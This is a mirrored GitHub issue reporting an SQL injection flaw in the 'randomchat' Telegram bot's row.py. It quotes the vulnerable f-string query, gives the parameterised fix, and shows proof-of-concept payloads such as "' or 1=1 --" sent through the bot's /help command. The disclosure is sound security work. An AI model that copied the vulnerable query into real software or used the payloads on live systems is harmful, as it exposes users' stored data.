Code Monkey home page Code Monkey logo

randomchat's People

Contributors

theawiteb avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

randomchat's Issues

[SQL injection] row.py

import sqlite3


coon = sqlite3.connect('db.sqlite3')
cursor = coon.cursor()

'''
tablesName = {
        'users':['id', 'username', "last_msg", "reports", "users_reports"],
        'message': ['msg', 'val'],
        'waiting': ['id'],
        "chat_sessions": ["sessions", 'user_id', 'end_time'],
        "sessions_messages":["session", "user_id", "msg_id", "msg_id_in_partner"]
        }

for table in tablesName:
    cursor.execute(f"""CREATE TABLE IF NOT EXISTS '{table}'( {','.join(tablesName.get(table))} )""")
        
    coon.commit()



'''

# randomChat/db/row.py 
# [ SQL INJECTION ] Right here .
def row(table_name:str, column:str, word:str, want='*'):

        return cursor.execute(f"SELECT {want} FROM {table_name} WHERE {column}='{word}'")
'''
    @@ The Right why to do this :
        - return cursor.execute(f"SELECT {want} FROM {table_name} WHERE {column}=(?)", (word,))
        
'''

# randomChat/main.py   
''' 
        text = message.text
        command = text[1:]

        msg = db.row("message", "msg", command, "val")
                bot.reply_to(message, msg)
'''


command = "hello' or 1=1 --"
print([i for i in row("message", "msg", command)])

# OUTPUT : => [('hello', None), ('0xNullByte', None)] , all the Value of msg column .

@z11bot

/help ' or 1=1--

image

/help ' or 1=2--

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.